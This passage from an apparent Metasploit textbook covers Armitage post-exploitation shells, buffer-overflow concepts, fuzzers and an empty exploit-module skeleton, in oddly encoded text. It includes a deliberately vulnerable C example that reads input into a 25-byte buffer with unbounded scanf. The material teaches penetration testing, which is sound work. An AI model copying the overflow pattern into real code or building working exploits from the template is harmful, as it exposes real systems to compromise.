�W�e� �c�a�n� �f�u�r�t�h�e�r� �i�n�t�e�r�a�c�t� �w�i�t�h� �i�t�,� �u�p�l�o�a�d� �a�n�y� �f�i�l�e�s� �a�n�d� �p�a�y�l�o�a�d�s�,� �o�r� �u�s�e� �a�n�y� �o�f� �t�h�e� �p�o�s�t�-
�e�x�p�l�o�i�t�a�t�i�o�n� �m�o�d�u�l�e�s�.� �T�o� �d�o� �t�h�i�s�,� �s�i�m�p�l�y� �r�i�g�h�t�-�c�l�i�c�k� �o�n� �t�h�e� �c�o�m�p�r�o�m�i�s�e�d� �h�o�s�t�,� �s�e�l�e�c�t� �t�h�e
�S�h�e�l�l� �1� �o�p�t�i�o�n�,� �a�n�d� �s�e�l�e�c�t� �t�h�e� �I�n�t�e�r�a�c�t� �o�p�t�i�o�n�,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:

�F�o�r� �i�n�t�e�r�a�c�t�i�n�g� �w�i�t�h� �t�h�e� �c�o�m�p�r�o�m�i�s�e�d� �h�o�s�t�,� �a� �n�e�w� �t�a�b� �n�a�m�e�d� �"�S�h�e�l�l� �1�"� �o�p�e�n�e�d� �i�n� �t�h�e� 
�b�o�t�t�o�m� �p�a�n�e� �o�f� �t�h�e� �A�r�m�i�t�a�g�e� �c�o�n�s�o�l�e�,� �a�s� �s�h�o�w�n� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�.� �F�r�o�m� �h�e�r�e�,� �w�e
�c�a�n� �e�x�e�c�u�t�e� �a�l�l� �L�i�n�u�x� �c�o�m�m�a�n�d�s� �r�e�m�o�t�e�l�y� �o�n� �t�h�e� �c�o�m�p�r�o�m�i�s�e�d� �t�a�r�g�e�t�:
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�S�u�m�m�a�r�y
�I�n� �t�h�i�s� �c�h�a�p�t�e�r�,� �y�o�u� �b�e�c�a�m�e� �f�a�m�i�l�i�a�r� �w�i�t�h� �u�s�i�n�g� �t�h�e� �A�r�m�i�t�a�g�e� �t�o�o�l� �f�o�r� �c�y�b�e�r� �a�t�t�a�c�k
�m�a�n�a�g�e�m�e�n�t� �u�s�i�n�g� �M�e�t�a�s�p�l�o�i�t� �a�t� �t�h�e� �b�a�c�k�e�n�d�.� �T�h�e� �A�r�m�i�t�a�g�e� �t�o�o�l� �c�a�n� �d�e�f�i�n�i�t�e�l�y� �c�o�m�e� �i�n
�h�a�n�d�y� �a�n�d� �s�a�v�e� �a� �l�o�t� �o�f� �t�i�m�e� �w�h�i�l�e� �p�e�r�f�o�r�m�i�n�g� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�s� �o�n� �m�u�l�t�i�p�l�e� �t�a�r�g�e�t�s� �a�t� �a
�t�i�m�e�.� �I�n� �t�h�e� �n�e�x�t� �a�n�d� �t�h�e� �c�o�n�c�l�u�d�i�n�g� �c�h�a�p�t�e�r�,� �w�e�'�l�l� �l�e�a�r�n� �a�b�o�u�t� �f�u�r�t�h�e�r� �e�x�t�e�n�d�i�n�g� �t�h�e
�M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �b�y� �a�d�d�i�n�g� �c�u�s�t�o�m� �e�x�p�l�o�i�t�s�.

�E�x�e�r�c�i�s�e�s
�T�r�y� �t�o� �e�x�p�l�o�r�e� �i�n� �d�e�t�a�i�l� �t�h�e� �v�a�r�i�o�u�s� �f�e�a�t�u�r�e�s� �o�f� �A�r�m�i�t�a�g�e�,� �a�n�d� �u�s�e� �i�t� �t�o� �c�o�m�p�r�o�m�i�s�e� �a�n�y� �o�f
�t�h�e� �t�a�r�g�e�t� �W�i�n�d�o�w�s� �h�o�s�t�s�.



�1�0
�E�x�t�e�n�d�i�n�g� �M�e�t�a�s�p�l�o�i�t� �a�n�d

�E�x�p�l�o�i�t� �D�e�v�e�l�o�p�m�e�n�t
�I�n� �t�h�e� �p�r�e�c�e�d�i�n�g� �c�h�a�p�t�e�r�,� �y�o�u� �l�e�a�r�n�e�d� �h�o�w� �t�o� �e�f�f�e�c�t�i�v�e�l�y� �u�s�e� �A�r�m�i�t�a�g�e� �f�o�r� �e�a�s�i�l�y� �p�e�r�f�o�r�m�i�n�g
�s�o�m�e� �o�f� �t�h�e� �c�o�m�p�l�e�x� �p�e�n�e�t�r�a�t�i�o�n� �t�e�s�t�i�n�g� �t�a�s�k�s�.� �I�n� �t�h�i�s� �c�h�a�p�t�e�r�,� �w�e�'�l�l� �h�a�v�e� �a� �h�i�g�h�-�l�e�v�e�l
�o�v�e�r�v�i�e�w� �o�f� �e�x�p�l�o�i�t� �d�e�v�e�l�o�p�m�e�n�t�.� �E�x�p�l�o�i�t� �d�e�v�e�l�o�p�m�e�n�t� �c�a�n� �b�e� �q�u�i�t�e� �c�o�m�p�l�e�x� �a�n�d� �t�e�d�i�o�u�s
�a�n�d� �i�s� �s�u�c�h� �a� �v�a�s�t� �t�o�p�i�c� �t�h�a�t� �a�n� �e�n�t�i�r�e� �b�o�o�k� �c�a�n� �b�e� �w�r�i�t�t�e�n� �o�n� �t�h�i�s�.� �H�o�w�e�v�e�r�,� �i�n� �t�h�i�s� �c�h�a�p�t�e�r�,
�w�e�'�l�l� �t�r�y� �t�o� �g�e�t� �a� �g�i�s�t� �o�f� �w�h�a�t� �e�x�p�l�o�i�t� �d�e�v�e�l�o�p�m�e�n�t� �i�s�,� �w�h�y� �i�t� �i�s� �r�e�q�u�i�r�e�d�,� �a�n�d� �h�o�w� �t�h�e
�M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �h�e�l�p�s� �u�s� �d�e�v�e�l�o�p� �e�x�p�l�o�i�t�.� �T�h�e� �t�o�p�i�c�s� �t�o� �b�e� �c�o�v�e�r�e�d� �i�n� �t�h�i�s� �c�h�a�p�t�e�r� �a�r�e
�a�s� �f�o�l�l�o�w�s�:

�E�x�p�l�o�i�t� �d�e�v�e�l�o�p�m�e�n�t� �c�o�n�c�e�p�t�s
�A�d�d�i�n�g� �e�x�t�e�r�n�a�l� �e�x�p�l�o�i�t�s� �t�o� �M�e�t�a�s�p�l�o�i�t
�I�n�t�r�o�d�u�c�t�i�o�n� �t�o� �M�e�t�a�s�p�l�o�i�t� �e�x�p�l�o�i�t� �t�e�m�p�l�a�t�e�s� �a�n�d� �m�i�x�i�n�s

�E�x�p�l�o�i�t� �d�e�v�e�l�o�p�m�e�n�t� �c�o�n�c�e�p�t�s
�E�x�p�l�o�i�t�s� �c�a�n� �b�e� �o�f� �m�a�n�y� �d�i�f�f�e�r�e�n�t� �t�y�p�e�s�.� �T�h�e�y� �c�a�n� �b�e� �c�l�a�s�s�i�f�i�e�d� �b�a�s�e�d� �o�n� �v�a�r�i�o�u�s� �p�a�r�a�m�e�t�e�r�s
�s�u�c�h� �a�s� �p�l�a�t�f�o�r�m�s�,� �a�r�c�h�i�t�e�c�t�u�r�e�,� �a�n�d� �p�u�r�p�o�s�e� �s�e�r�v�e�d�.� �W�h�e�n�e�v�e�r� �a�n�y� �g�i�v�e�n� �v�u�l�n�e�r�a�b�i�l�i�t�y� �i�s
�d�i�s�c�o�v�e�r�e�d�,� �t�h�e�r�e� �a�r�e� �e�i�t�h�e�r� �o�f� �t�h�r�e�e� �f�o�l�l�o�w�i�n�g� �p�o�s�s�i�b�i�l�i�t�i�e�s�:

�A�n� �e�x�p�l�o�i�t� �c�o�d�e� �a�l�r�e�a�d�y� �e�x�i�s�t�s
�P�a�r�t�i�a�l� �e�x�p�l�o�i�t� �c�o�d�e� �e�x�i�s�t�s� �t�h�a�t� �n�e�e�d�s� �s�o�m�e� �m�o�d�i�f�i�c�a�t�i�o�n� �t�o� �e�x�e�c�u�t�e� �m�a�l�i�c�i�o�u�s
�p�a�y�l�o�a�d
�N�o� �e�x�p�l�o�i�t� �c�o�d�e� �e�x�i�s�t�s�,� �a�n�d� �t�h�e�r�e�'�s� �a� �n�e�e�d� �t�o� �d�e�v�e�l�o�p� �n�e�w� �e�x�p�l�o�i�t� �c�o�d�e� �f�r�o�m
�s�c�r�a�t�c�h
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�T�h�e� �f�i�r�s�t� �t�w�o� �c�a�s�e�s� �l�o�o�k� �q�u�i�t�e� �e�a�s�y� �a�s� �t�h�e� �e�x�p�l�o�i�t� �c�o�d�e� �e�x�i�s�t�s� �a�n�d� �m�a�y� �n�e�e�d� �s�o�m�e� �m�i�n�o�r
�t�w�e�a�k�s� �t�o� �g�e�t� �i�t� �e�x�e�c�u�t�e�d�.� �H�o�w�e�v�e�r�,� �t�h�e� �t�h�i�r�d� �c�a�s�e�,� �w�h�e�r�e�i�n� �a� �v�u�l�n�e�r�a�b�i�l�i�t�y� �h�a�s� �j�u�s�t� �b�e�e�n
�d�i�s�c�o�v�e�r�e�d� �a�n�d� �n�o� �e�x�p�l�o�i�t� �c�o�d�e� �e�x�i�s�t�s�,� �i�s� �t�h�e� �r�e�a�l� �c�h�a�l�l�e�n�g�e�.� �I�n� �s�u�c�h� �a� �c�a�s�e�,� �y�o�u� �m�i�g�h�t� �n�e�e�d
�t�o� �p�e�r�f�o�r�m� �s�o�m�e� �o�f� �t�h�e� �f�o�l�l�o�w�i�n�g� �t�a�s�k�s�:

�G�a�t�h�e�r� �b�a�s�i�c� �i�n�f�o�r�m�a�t�i�o�n�,� �s�u�c�h� �a�s� �t�h�e� �p�l�a�t�f�o�r�m� �a�n�d� �a�r�c�h�i�t�e�c�t�u�r�e� �t�h�e� �v�u�l�n�e�r�a�b�i�l�i�t�y
�i�s� �s�u�p�p�o�r�t�e�d� �o�n
�G�e�t� �a�l�l� �p�o�s�s�i�b�l�e� �d�e�t�a�i�l�s� �a�b�o�u�t� �h�o�w� �t�h�e� �v�u�l�n�e�r�a�b�i�l�i�t�y� �c�a�n� �b�e� �e�x�p�l�o�i�t�e�d� �a�n�d� �w�h�a�t� �t�h�e
�p�o�s�s�i�b�l�e� �a�t�t�a�c�k� �v�e�c�t�o�r�s� �a�r�e
�U�s�e� �t�e�c�h�n�i�q�u�e�s� �s�u�c�h� �a�s� �f�u�z�z�i�n�g� �t�o� �s�p�e�c�i�f�i�c�a�l�l�y� �p�i�n�p�o�i�n�t� �t�h�e� �v�u�l�n�e�r�a�b�l�e� �c�o�d�e� �a�n�d
�p�a�r�a�m�e�t�e�r�s
�W�r�i�t�e� �a� �p�s�e�u�d�o� �c�o�d�e� �o�r� �p�r�o�t�o�t�y�p�e� �t�o� �t�e�s�t� �w�h�e�t�h�e�r� �t�h�e� �e�x�p�l�o�i�t� �i�s� �w�o�r�k�i�n�g� �f�o�r� �r�e�a�l
�W�r�i�t�e� �t�h�e� �c�o�m�p�l�e�t�e� �c�o�d�e� �w�i�t�h� �a�l�l� �r�e�q�u�i�r�e�d� �p�a�r�a�m�e�t�e�r�s� �a�n�d� �v�a�l�u�e�s
�P�u�b�l�i�s�h� �t�h�e� �c�o�d�e� �f�o�r� �t�h�e� �c�o�m�m�u�n�i�t�y� �a�n�d� �c�o�n�v�e�r�t� �i�t� �i�n�t�o� �a� �M�e�t�a�s�p�l�o�i�t� �m�o�d�u�l�e

�A�l�l� �t�h�e�s�e� �a�c�t�i�v�i�t�i�e�s� �a�r�e� �q�u�i�t�e� �i�n�t�e�n�s�e� �a�n�d� �r�e�q�u�i�r�e� �a� �l�o�t� �o�f� �r�e�s�e�a�r�c�h� �a�n�d� �p�a�t�i�e�n�c�e�.� �T�h�e� �e�x�p�l�o�i�t
�c�o�d�e� �i�s� �p�a�r�a�m�e�t�e�r� �s�e�n�s�i�t�i�v�e�;� �f�o�r� �e�x�a�m�p�l�e�,� �i�n� �t�h�e� �c�a�s�e� �o�f� �a� �b�u�f�f�e�r� �o�v�e�r�f�l�o�w� �e�x�p�l�o�i�t�,� �t�h�e� �r�e�t�u�r�n
�a�d�d�r�e�s�s� �i�s� �t�h�e� �k�e�y� �t�o� �r�u�n� �t�h�e� �e�x�p�l�o�i�t� �s�u�c�c�e�s�s�f�u�l�l�y�.� �E�v�e�n� �i�f� �o�n�e� �o�f� �t�h�e� �b�i�t�s� �i�n� �t�h�e� �r�e�t�u�r�n
�a�d�d�r�e�s�s� �i�s� �m�e�n�t�i�o�n�e�d� �i�n�c�o�r�r�e�c�t�l�y�,� �t�h�e� �e�n�t�i�r�e� �e�x�p�l�o�i�t� �w�o�u�l�d� �f�a�i�l�.

�W�h�a�t� �i�s� �a� �b�u�f�f�e�r� �o�v�e�r�f�l�o�w�?
�B�u�f�f�e�r� �o�v�e�r�f�l�o�w� �i�s� �o�n�e� �o�f� �t�h�e� �m�o�s�t� �c�o�m�m�o�n�l�y� �f�o�u�n�d� �v�u�l�n�e�r�a�b�i�l�i�t�i�e�s� �i�n� �v�a�r�i�o�u�s� �a�p�p�l�i�c�a�t�i�o�n�s
�a�n�d� �s�y�s�t�e�m� �c�o�m�p�o�n�e�n�t�s�.� �A� �s�u�c�c�e�s�s�f�u�l� �b�u�f�f�e�r� �o�v�e�r�f�l�o�w� �e�x�p�l�o�i�t� �m�a�y� �a�l�l�o�w� �r�e�m�o�t�e� �a�r�b�i�t�r�a�r�y
�c�o�d�e� �e�x�e�c�u�t�i�o�n� �l�e�a�d�i�n�g�,� �t�o� �e�l�e�v�a�t�e�d� �p�r�i�v�i�l�e�g�e�s�.

�A� �b�u�f�f�e�r� �o�v�e�r�f�l�o�w� �c�o�n�d�i�t�i�o�n� �o�c�c�u�r�s� �w�h�e�n� �a� �p�r�o�g�r�a�m� �t�r�i�e�s� �t�o� �i�n�s�e�r�t� �m�o�r�e� �d�a�t�a� �i�n� �a� �b�u�f�f�e�r
�t�h�a�n� �i�t� �c�a�n� �a�c�c�o�m�m�o�d�a�t�e�,� �o�r� �w�h�e�n� �a� �p�r�o�g�r�a�m� �a�t�t�e�m�p�t�s� �t�o� �i�n�s�e�r�t� �d�a�t�a� �i�n�t�o� �a� �m�e�m�o�r�y� �a�r�e�a
�p�a�s�t� �a� �b�u�f�f�e�r�.� �I�n� �t�h�i�s� �c�a�s�e�,� �a� �b�u�f�f�e�r� �i�s� �n�o�t�h�i�n�g� �b�u�t� �a� �s�e�q�u�e�n�t�i�a�l� �s�e�c�t�i�o�n� �o�f� �m�e�m�o�r�y� �a�l�l�o�c�a�t�e�d� �t�o
�h�o�l�d� �a�n�y�t�h�i�n�g� �f�r�o�m� �a� �c�h�a�r�a�c�t�e�r� �s�t�r�i�n�g� �t�o� �a�n� �a�r�r�a�y� �o�f� �i�n�t�e�g�e�r�s�.� �A�t�t�e�m�p�t�i�n�g� �t�o� �w�r�i�t�e� �o�u�t�s�i�d�e
�t�h�e� �b�o�u�n�d�s� �o�f� �a� �b�l�o�c�k� �o�f� �t�h�e� �a�l�l�o�c�a�t�e�d� �m�e�m�o�r�y� �c�a�n� �c�a�u�s�e� �d�a�t�a� �c�o�r�r�u�p�t�i�o�n�,� �c�r�a�s�h� �t�h�e
�p�r�o�g�r�a�m�,� �o�r� �e�v�e�n� �l�e�a�d� �t�o� �t�h�e� �e�x�e�c�u�t�i�o�n� �o�f� �m�a�l�i�c�i�o�u�s� �c�o�d�e�.� �L�e�t�'�s� �c�o�n�s�i�d�e�r� �t�h�e� �f�o�l�l�o�w�i�n�g� �c�o�d�e�:

#include <stdio.h>

void  Admin Function ()
{
    printf ( "Congratulations! \n " );
    printf ( "You have entered in the Admin function! \n " );
}

void  echo ()
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{
    char  buffer [ 25];

    printf ( "Enter any text: \n " );
    scanf ( "%s" ,  buffer );
    printf ( "You entered: %s \n " ,  buffer );
}

int  main ()
{
    echo ();

    return  0;
}

�T�h�e� �p�r�e�c�e�d�i�n�g� �c�o�d�e� �i�s� �v�u�l�n�e�r�a�b�l�e� �t�o� �b�u�f�f�e�r� �o�v�e�r�f�l�o�w�.� �I�f� �y�o�u� �c�a�r�e�f�u�l�l�y� �n�o�t�i�c�e�,� �t�h�e� �b�u�f�f�e�r� �s�i�z�e
�h�a�s� �b�e�e�n� �s�e�t� �t�o� �2�5� �c�h�a�r�a�c�t�e�r�s�.� �H�o�w�e�v�e�r�,� �w�h�a�t� �i�f� �t�h�e� �u�s�e�r� �e�n�t�e�r�s� �d�a�t�a� �m�o�r�e� �t�h�a�n� �2�5
�c�h�a�r�a�c�t�e�r�s�?� �T�h�e� �b�u�f�f�e�r� �w�i�l�l� �s�i�m�p�l�y� �o�v�e�r�f�l�o�w� �a�n�d� �t�h�e� �p�r�o�g�r�a�m� �e�x�e�c�u�t�i�o�n� �w�i�l�l� �e�n�d� �a�b�r�u�p�t�l�y�.

�W�h�a�t� �a�r�e� �f�u�z�z�e�r�s�?
�I�n� �t�h�e� �p�r�e�c�e�d�i�n�g� �e�x�a�m�p�l�e�,� �w�e� �h�a�d� �a�c�c�e�s�s� �t�o� �t�h�e� �s�o�u�r�c�e� �c�o�d�e�,� �a�n�d� �w�e� �k�n�e�w� �t�h�a�t� �t�h�e� �v�a�r�i�a�b�l�e
�b�u�f�f�e�r� �c�a�n� �h�o�l�d� �a� �m�a�x�i�m�u�m� �o�f� �2�5� �c�h�a�r�a�c�t�e�r�s�.� �S�o�,� �i�n� �o�r�d�e�r� �t�o� �c�a�u�s�e� �a� �b�u�f�f�e�r� �o�v�e�r�f�l�o�w�,� �w�e� �c�a�n
�s�e�n�d� �3�0�,� �4�0�,� �o�r� �5�0� �c�h�a�r�a�c�t�e�r�s� �a�s� �i�n�p�u�t�.� �H�o�w�e�v�e�r�,� �i�t�'�s� �n�o�t� �a�l�w�a�y�s� �p�o�s�s�i�b�l�e� �t�o� �h�a�v�e� �a�c�c�e�s�s� �t�o� �t�h�e
�s�o�u�r�c�e� �c�o�d�e� �o�f� �a�n�y� �g�i�v�e�n� �a�p�p�l�i�c�a�t�i�o�n�.� �S�o�,� �f�o�r� �a�n� �a�p�p�l�i�c�a�t�i�o�n� �w�h�o�s�e� �s�o�u�r�c�e� �c�o�d�e� �i�s�n�'�t
�a�v�a�i�l�a�b�l�e�,� �h�o�w� �w�o�u�l�d� �y�o�u� �d�e�t�e�r�m�i�n�e� �w�h�a�t� �l�e�n�g�t�h� �o�f� �i�n�p�u�t� �s�h�o�u�l�d� �b�e� �s�e�n�t� �t�o� �a� �p�a�r�t�i�c�u�l�a�r
�p�a�r�a�m�e�t�e�r� �s�o� �t�h�a�t� �t�h�e� �b�u�f�f�e�r� �g�e�t�s� �o�v�e�r�f�l�o�w�e�d�?� �T�h�i�s� �i�s� �w�h�e�r�e� �f�u�z�z�e�r�s� �c�o�m�e� �t�o� �t�h�e� �r�e�s�c�u�e�.
�F�u�z�z�e�r�s� �a�r�e� �s�m�a�l�l� �p�r�o�g�r�a�m�s� �t�h�a�t� �s�e�n�d� �r�a�n�d�o�m� �i�n�p�u�t�s� �o�f� �v�a�r�i�o�u�s� �l�e�n�g�t�h�s� �t�o� �s�p�e�c�i�f�i�e�d
�p�a�r�a�m�e�t�e�r�s� �w�i�t�h�i�n� �t�h�e� �t�a�r�g�e�t� �a�p�p�l�i�c�a�t�i�o�n� �a�n�d� �i�n�f�o�r�m� �u�s� �t�h�e� �e�x�a�c�t� �l�e�n�g�t�h� �o�f� �t�h�e� �i�n�p�u�t� �t�h�a�t
�c�a�u�s�e�d� �t�h�e� �o�v�e�r�f�l�o�w� �a�n�d� �c�r�a�s�h� �o�f� �t�h�e� �a�p�p�l�i�c�a�t�i�o�n�.

�D�i�d� �y�o�u� �k�n�o�w�?� �M�e�t�a�s�p�l�o�i�t� �h�a�s� �f�u�z�z�e�r�s� �f�o�r� �f�u�z�z�i�n�g� �v�a�r�i�o�u�s� �p�r�o�t�o�c�o�l�s�.
�T�h�e�s�e� �f�u�z�z�e�r�s� �a�r�e� �a� �p�a�r�t� �o�f� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e�s� �w�i�t�h�i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t
�F�r�a�m�e�w�o�r�k� �a�n�d� �c�a�n� �b�e� �f�o�u�n�d� �i�n� �t�h�e� auxiliary/fuzzers/ �.
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�E�x�p�l�o�i�t� �t�e�m�p�l�a�t�e�s� �a�n�d� �m�i�x�i�n�s
�L�e�t�'�s� �c�o�n�s�i�d�e�r� �t�h�a�t� �y�o�u� �h�a�v�e� �w�r�i�t�t�e�n� �a�n� �e�x�p�l�o�i�t� �c�o�d�e� �f�o�r� �a� �n�e�w� �z�e�r�o�-�d�a�y� �v�u�l�n�e�r�a�b�i�l�i�t�y�.� �N�o�w�,
�t�o� �i�n�c�l�u�d�e� �t�h�e� �e�x�p�l�o�i�t� �c�o�d�e� �o�f�f�i�c�i�a�l�l�y� �i�n�t�o� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�,� �i�t� �h�a�s� �t�o� �b�e� �i�n� �a
�p�a�r�t�i�c�u�l�a�r� �f�o�r�m�a�t�.� �F�o�r�t�u�n�a�t�e�l�y�,� �y�o�u� �j�u�s�t� �n�e�e�d� �t�o� �c�o�n�c�e�n�t�r�a�t�e� �o�n� �t�h�e� �a�c�t�u�a�l� �e�x�p�l�o�i�t� �c�o�d�e�,� �a�n�d
�t�h�e�n� �s�i�m�p�l�y� �u�s�e� �a� �t�e�m�p�l�a�t�e� �(�p�r�o�v�i�d�e�d� �b�y� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k�)� �t�o� �i�n�s�e�r�t� �i�t� �i�n� �t�h�e
�r�e�q�u�i�r�e�d� �f�o�r�m�a�t�.� �T�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k� �o�f�f�e�r�s� �a�n� �e�x�p�l�o�i�t� �m�o�d�u�l�e� �s�k�e�l�e�t�o�n�,� �a�s� �s�h�o�w�n� �i�n
�t�h�e� �f�o�l�l�o�w�i�n�g� �c�o�d�e�:

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require  ' msf/core '

class  MetasploitModule  < Msf::Exploit::Remote
  Rank = NormalRanking

  def  initialize ( info ={})
    super (update_info(info,
      ' Name'            => " [Vendor] [Software] [Root Cause] [Vulnerability
type] " ,
      ' Description '     => %q{
        Say something that the user might need to know
      } ,
      ' License '         => MSF_LICENSE,
      ' Author '          => [ ' Name'  ],
      ' References '      =>
        [
          [ ' URL' , ' '  ]
        ],
      ' Platform '        => ' win ' ,
      ' Targets '         =>
        [
          [ ' System or software version ' ,
            {
              ' Ret '  => 0x42424242 # This will be available in `target.ret`
            }
          ]
        ],
      ' Payload '         =>
        {
          ' BadChars '  => " \x00\x00 "
        },
      ' Privileged '      => true ,
      ' DisclosureDate '  => " " ,
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      ' DefaultTarget '   => 1))
  end

  def  check
    # For the check command
  end

  def  exploit
    # Main function
  end

end

�N�o�w�,� �l�e�t�'�s� �t�r�y� �t�o� �u�n�d�e�r�s�t�a�n�d� �t�h�e� �v�a�r�i�o�u�s� �f�i�e�l�d�s� �i�n� �t�h�e� �p�r�e�c�e�d�i�n�g� �e�x�p�l�o�i�t� �s�k�e�l�e�t�o�n�:

�T�h�e� �N�a�m�e� �f�i�e�l�d�:� �T�h�i�s� �b�e�g�i�n�s� �w�i�t�h� �t�h�e� �n�a�m�e� �o�f� �t�h�e� �v�e�n�d�o�r�,� �f�o�l�l�o�w�e�d� �b�y� �t�h�e
�s�o�f�t�w�a�r�e�.� �T�h�e� �R�o�o�t� �C�a�u�s�e� �f�i�e�l�d� �p�o�i�n�t�s� �t�o� �t�h�e� �c�o�m�p�o�n�e�n�t� �o�r� �f�u�n�c�t�i�o�n� �i�n� �w�h�i�c�h� �t�h�e
�b�u�g� �i�s� �f�o�u�n�d� �a�n�d� �f�i�n�a�l�l�y�,� �t�h�e� �t�y�p�e� �o�f� �v�u�l�n�e�r�a�b�i�l�i�t�y� �t�h�e� �m�o�d�u�l�e� �i�s� �e�x�p�l�o�i�t�i�n�g�.
�T�h�e� �D�e�s�c�r�i�p�t�i�o�n� �f�i�e�l�d�:� �T�h�i�s� �f�i�e�l�d� �e�l�a�b�o�r�a�t�e�s� �w�h�a�t� �t�h�e� �m�o�d�u�l�e� �d�o�e�s�,� �t�h�i�n�g�s� �t�o
�w�a�t�c�h� �o�u�t� �f�o�r�,� �a�n�d� �a�n�y� �s�p�e�c�i�f�i�c� �r�e�q�u�i�r�e�m�e�n�t�s�.� �T�h�e� �a�i�m� �i�s� �t�o� �l�e�t� �t�h�e� �u�s�e�r� �g�e�t� �a� �c�l�e�a�r
�u�n�d�e�r�s�t�a�n�d�i�n�g� �o�f� �w�h�a�t� �h�e�'�s� �u�s�i�n�g� �w�i�t�h�o�u�t� �t�h�e� �n�e�e�d� �t�o� �a�c�t�u�a�l�l�y� �g�o� �t�h�r�o�u�g�h� �t�h�e
�m�o�d�u�l�e�'�s� �s�o�u�r�c�e�.
�T�h�e� �A�u�t�h�o�r� �f�i�e�l�d�:� �T�h�i�s� �i�s� �w�h�e�r�e� �y�o�u� �i�n�s�e�r�t� �y�o�u�r� �n�a�m�e�.� �T�h�e� �f�o�r�m�a�t� �s�h�o�u�l�d� �b�e
�N�a�m�e�.� �I�n� �c�a�s�e� �y�o�u� �w�a�n�t� �t�o� �i�n�s�e�r�t� �y�o�u�r� �T�w�i�t�t�e�r� �h�a�n�d�l�e� �a�s� �w�e�l�l�,� �s�i�m�p�l�y� �l�e�a�v�e� �i�t� �a�s� �a
�c�o�m�m�e�n�t�,� �f�o�r� �e�x�a�m�p�l�e�,� Name #Twitterhandle �.

�T�h�e� �R�e�f�e�r�e�n�c�e�s� �f�i�e�l�d�:� �T�h�i�s� �i�s� �a�n� �a�r�r�a�y� �o�f� �r�e�f�e�r�e�n�c�e�s� �r�e�l�a�t�e�d� �t�o� �t�h�e� �v�u�l�n�e�r�a�b�i�l�i�t�y� �o�r
�t�h�e� �e�x�p�l�o�i�t�,� �f�o�r� �e�x�a�m�p�l�e�,� �a�n� �a�d�v�i�s�o�r�y�,� �a� �b�l�o�g� �p�o�s�t�,� �a�n�d� �m�u�c�h� �m�o�r�e�.� �F�o�r� �m�o�r�e
�d�e�t�a�i�l�s� �o�n� �r�e�f�e�r�e�n�c�e� �i�d�e�n�t�i�f�i�e�r�s�,� �v�i�s�i�t� h  t  t  p  s  ://g  i  t  h  u  b  .  c  o  m /r  a  p  i  d  7/m  e  t  a  s  p  l  o  i  t  -  f
r  a  m e  w o  r  k  /w  i  k  i  /M  e  t  a  s  p  l  o  i  t  -  m o  d  u  l  e  -  r  e  f  e  r  e  n  c  e  -  i  d  e  n  t  i  f  i  e  r  s

�T�h�e� �P�l�a�t�f�o�r�m� �f�i�e�l�d�:� �T�h�i�s� �f�i�e�l�d� �i�n�d�i�c�a�t�e�s� �a�l�l� �p�l�a�t�f�o�r�m�s� �t�h�e� �e�x�p�l�o�i�t� �c�o�d�e� �w�i�l�l� �b�e
�s�u�p�p�o�r�t�e�d� �o�n�,� �f�o�r� �e�x�a�m�p�l�e�,� �W�i�n�d�o�w�s�,� �L�i�n�u�x�,� �B�S�D�,� �a�n�d� �U�n�i�x�.
�T�h�e� �T�a�r�g�e�t�s� �f�i�e�l�d�:� �T�h�i�s� �i�s� �a�n� �a�r�r�a�y� �o�f� �s�y�s�t�e�m�s�,� �a�p�p�l�i�c�a�t�i�o�n�s�,� �s�e�t�u�p�s�,� �o�r� �s�p�e�c�i�f�i�c
�v�e�r�s�i�o�n�s� �y�o�u�r� �e�x�p�l�o�i�t� �i�s� �t�a�r�g�e�t�i�n�g�.� �T�h�e� �s�e�c�o�n�d� �e�l�e�m�e�n�t� �o�r� �e�a�c�h� �t�a�r�g�e�t� �a�r�r�a�y� �i�s
�w�h�e�r�e� �y�o�u� �s�t�o�r�e� �s�p�e�c�i�f�i�c� �m�e�t�a�d�a�t�a� �o�f� �t�h�e� �t�a�r�g�e�t�,� �f�o�r� �e�x�a�m�p�l�e�,� �a� �s�p�e�c�i�f�i�c� �o�f�f�s�e�t�,� �a
�g�a�d�g�e�t�,� �a� ret � �a�d�d�r�e�s�s�,� �a�n�d� �m�u�c�h� �m�o�r�e�.� �W�h�e�n� �a� �t�a�r�g�e�t� �i�s� �s�e�l�e�c�t�e�d� �b�y� �t�h�e� �u�s�e�r�,� �t�h�e
�m�e�t�a�d�a�t�a� �i�s� �l�o�a�d�e�d� �a�n�d� �t�r�a�c�k�e�d� �b�y� �a� target index �,� �a�n�d� �c�a�n� �b�e� �r�e�t�r�i�e�v�e�d� �u�s�i�n�g
�t�h�e� �t�a�r�g�e�t� �m�e�t�h�o�d�.
�T�h�e� �P�a�y�l�o�a�d�s� �f�i�e�l�d�:� �T�h�i�s� �f�i�e�l�d� �s�p�e�c�i�f�i�e�s� �h�o�w� �t�h�e� �p�a�y�l�o�a�d� �s�h�o�u�l�d� �b�e� �e�n�c�o�d�e�d� �a�n�d
�g�e�n�e�r�a�t�e�d�.� �Y�o�u� �c�a�n� �s�p�e�c�i�f�y� �S�p�a�c�e�,� �S�a�v�e�R�e�g�i�s�t�e�r�s�,� �P�r�e�p�e�n�d�,� �P�r�e�p�e�n�d�E�n�c�o�d�e�r�,
�B�a�d�C�h�a�r�s�,� �A�p�p�e�n�d�,� �A�p�p�e�n�d�E�n�c�o�d�e�r�,� �M�a�x�N�o�p�s�,� �M�i�n�N�o�p�s�,� �E�n�c�o�d�e�r�,� �N�o�p�,
�E�n�c�o�d�e�r�T�y�p�e�,� �E�n�c�o�d�e�r�O�p�t�i�o�n�s�,� �E�x�t�e�n�d�e�d�O�p�t�i�o�n�s�,� �a�n�d� �E�n�c�o�d�e�r�D�o�n�t�F�a�l�l�T�h�r�o�u�g�h�.
